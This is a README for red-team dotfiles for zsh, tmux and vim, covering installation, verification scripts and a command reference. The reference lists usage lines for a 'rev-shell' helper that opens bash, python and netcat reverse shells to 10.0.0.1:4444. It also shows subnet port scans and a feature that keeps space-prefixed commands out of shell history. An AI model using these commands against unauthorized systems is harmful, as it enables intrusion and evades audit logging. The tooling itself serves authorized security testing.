Clean and focused dotfiles for zsh, tmux, and vim tailored for red team operations and penetration testing. No over-engineering, just the essentials.
- π΄ Red Team Focused: Aliases and functions for penetration testing
- π― Terminal Agnostic: Consistent prompt and behavior across modern terminals
- π Network Tools: IPv4/IPv6 IP detection with service redundancy
- π‘οΈ OPSEC Aware: Commands starting with space aren't logged
- π§° aliasr Integration:
aalias in zsh and tmux keybindings for the aliasr pentest launcher - π§ Warp-Aware Runtime: Shell detects Warp and keeps prompt/title behavior compatible
- π§ͺ Startup Hardened:
zshstartup is resilient undernounsetwith safe optional loaders - π§± Helper Fallbacks: Core helper commands use guarded fallback paths across host differences
- π₯ Tmux Fail-Soft Ops: Recording/history paths stay usable with clear fallback messaging
- π Vim Startup Fallbacks: Vim starts cleanly even when optional plugin tooling is unavailable
- β‘ Fast & Clean: Minimal overhead, maximum functionality
- π§ Cross-Platform: Works on macOS, Linux, and WSL2
# Clone the repository
git clone https://github.com/Maleick/dotfiles.git /opt/dotfiles
cd /opt/dotfiles
# Run the install script
./install.sh- Creates backup of existing dotfiles
- Symlinks zsh, tmux, and vim configurations
- Sets up red team aliases and functions
# Restart your shell or run
source ~/.zshrc
# Check available commands
/helpUse the Phase 1 checklist for repeatable installer and runtime baseline checks:
.planning/phases/01-installation-baseline/01-VERIFICATION-CHECKLIST.md
The checklist includes syntax checks, tmux/vim startup sanity, installer rerun validation, and expected symlink targets.
After shell-focused changes, run these checks from repo root:
zsh -n zsh/.zshrc
TERM_PROGRAM=WarpTerminal ZDOTDIR=/opt/dotfiles/zsh zsh -i -c 'echo "${WARP_TERMINAL:-0}"'
TERM_PROGRAM=Apple_Terminal ZDOTDIR=/opt/dotfiles/zsh zsh -i -c 'echo "${WARP_TERMINAL:-0}"'
ZDOTDIR=/opt/dotfiles/zsh zsh -i -c 'base64decode dGVzdA=='
ZDOTDIR=/opt/dotfiles/zsh zsh -i -c 'localip >/dev/null && netinfo >/dev/null'Expected behavior:
- Warp shell check prints
1; non-Warp prints0. base64decode dGVzdA==printsteston macOS and Linux.myip*,localip, andnetinfouse guarded fallbacks before failing.webserver,http-server,https-server, andquickscanreturn actionable errors when dependencies are missing.
Run this checklist after reliability or docs/release updates to verify end-to-end consistency:
# 1) Install/symlink baseline
./install.sh
ls -l ~/.zshrc ~/.tmux.conf ~/.vimrc
# 2) Shell checks
zsh -n zsh/.zshrc
TERM_PROGRAM=WarpTerminal ZDOTDIR=/opt/dotfiles/zsh zsh -i -c 'echo "${WARP_TERMINAL:-0}"'
TERM_PROGRAM=Apple_Terminal ZDOTDIR=/opt/dotfiles/zsh zsh -i -c 'echo "${WARP_TERMINAL:-0}"'
ZDOTDIR=/opt/dotfiles/zsh zsh -i -c 'base64decode dGVzdA=='
# 3) Tmux checks
tmux -f /opt/dotfiles/tmux/.tmux.conf -L gsd-docs-check start-server \; kill-server
rg -n '^bind (P|S|U|K|s) ' tmux/.tmux.conf
rg -n 'Logs|asciinema|fzf' tmux/.tmux.conf
# 4) Vim checks
vim -Nu /opt/dotfiles/vim/.vimrc -n -es -c 'qa!'
TMP_HOME="$(mktemp -d)" && HOME="$TMP_HOME" vim -Nu /opt/dotfiles/vim/.vimrc -n -es -c 'qa!' && rm -rf "$TMP_HOME"
rg -n "catppuccin_mocha|dracula|molokai|plug#begin|coc#refresh" vim/.vimrc
# 5) Docs/release integrity checks
VER="$(cat VERSION)"
rg -n "^## \\[$VER\\]" CHANGELOG.md
rg -n "version-" README.mdExpected outcomes:
- All commands exit successfully.
- Runtime contract claims in docs map to current source files.
VERSIONand latest changelog release header are consistent.
Run the repo-root verification wrapper:
./scripts/verify-suite.shWrapper contract:
- Runs non-interactively from repository root (read-only verification; does not run
install.sh). - Default mode (no flags) prints deterministic per-check statuses:
PASS,FAIL,SKIP. - Default mode prints a deterministic summary line with PASS/FAIL/SKIP counts.
- Exits
0only if required checks pass; exits non-zero when any required check fails. - Optional dependency checks (
asciinema,fzf) fail soft with actionableSKIPguidance.
Additional modes:
# Quick mode: locked minimum required-check subset + explicit quick skips
./scripts/verify-suite.sh --quick
# Machine-readable mode (JSON payload)
./scripts/verify-suite.sh --json
# Combined mode: quick selection + JSON output
./scripts/verify-suite.sh --quick --jsonMode behavior notes:
--quickpreserves required failure semantics and surfaces full-only required checks as explicit quick-modeSKIPentries.--jsonemits deterministic per-check records plus deterministic summary counts.--quick --jsonuses quick-mode check selection with JSON output.- Backward compatibility is preserved for existing no-flag usage.
Compatibility guidance is tracked in:
.planning/compatibility/v1.1-matrix.md
Automated row update flow (Phase 8):
# Capture observed evidence from current host
./scripts/verify-suite.sh --json > /tmp/verify-evidence.json
# Update an existing matrix key (Environment Profile + Check Scope)
./scripts/update-compat-matrix.sh \
--evidence /tmp/verify-evidence.json \
--env-profile "macOS (Darwin arm64, current host)" \
--check-scope "install/shell/tmux/vim/docs parity" \
--caveat "host-specific: observed wrapper JSON run from current host" \
--command-ref "./scripts/verify-suite.sh --json" \
--date 2026-02-25Automation behavior:
- Uses observed wrapper evidence only (
./scripts/verify-suite.sh --jsonpayloads). - Uses matrix row identity key
Environment Profile+Check Scope. - Updates existing key rows in place; inserts new key rows deterministically.
- Fails fast on malformed evidence input or malformed matrix schema.
- Preserves status vocabulary constraints (
PASS/SKIP/FAIL) and required fields:Environment ProfileCheck ScopeStatusCaveatCommand Set ReferenceLast Validated
How to use it:
- Treat matrix rows as observed command-run outcomes, not inferred platform claims.
- Interpret statuses as:
PASS: observed run succeeded for the listed scope/environment.FAIL: observed run failed for the listed scope/environment.SKIP: not observed in that environment/session; read caveat before relying on it.
- Use
Command Set ReferenceplusLast Validatedto confirm evidence provenance and recency.
When verification/runtime/docs behavior changes, refresh matrix rows before milestone closeout so matrix expectations remain aligned with current contracts.
For machine-specific or sensitive configurations (API keys, local paths, etc.), create ~/.zshrc.local:
# Create local overrides file
cat > ~/.zshrc.local << 'EOF'
# Machine-specific configurations
export MY_API_KEY="your-secret-key"
export CUSTOM_PATH="/path/to/tool"
EOF
chmod 600 ~/.zshrc.localNote: .zshrc.local is automatically ignored by git and won't be synced to the repository.
# External IP Detection (IPv4/IPv6)
myip # External IPv4 address (force IPv4)
myip6 # External IPv6 address
myip-alt # Alternative service (ipinfo.io)
myip-check # Backup service (icanhazip.com)
get_external_ip # Store IP in $EXTERNAL_IP variable
localip # Local IP address
netinfo # Complete network information
# Port Scanning
quickscan 192.168.1.0/24 # Fast subnet scan
nmap-top-ports 192.168.1.1 # Scan top 1000 portswebserver # HTTP server on port 8080
https-server # HTTPS server (needs cert.pem/key.pem)base64encode "test data" # dGVzdCBkYXRh
base64decode "dGVzdCBkYXRh" # test data
urlencode "hello world" # hello%2Bworld
rot13 # ROT13 cipherrev-shell bash 10.0.0.1 4444 # Bash reverse shell
rev-shell python 10.0.0.1 4444 # Python reverse shell
rev-shell nc 10.0.0.1 4444 # Netcat reverse shelltmux # Start tmux session
# Prefix + P # Start/stop recording
# Prefix + S # Save pane history
# Prefix + U / K # Open aliasr in split pane (send-only / send+execute)a # Open aliasr TUI for red-team commands (requires aliasr installed)- Commands starting with space aren't logged - Use
commandfor sensitive operations - Use only on authorized systems - Respect applicable laws and regulations
- Backup created automatically - Install script backs up existing configs
# Update to latest version
cd /opt/dotfiles
git pull
# Check current version
cat VERSION# See all available red team commands
/helpNote: This project is for educational and authorized security testing only. Use responsibly and respect all applicable laws.
π΄ Happy Red Teaming! π΄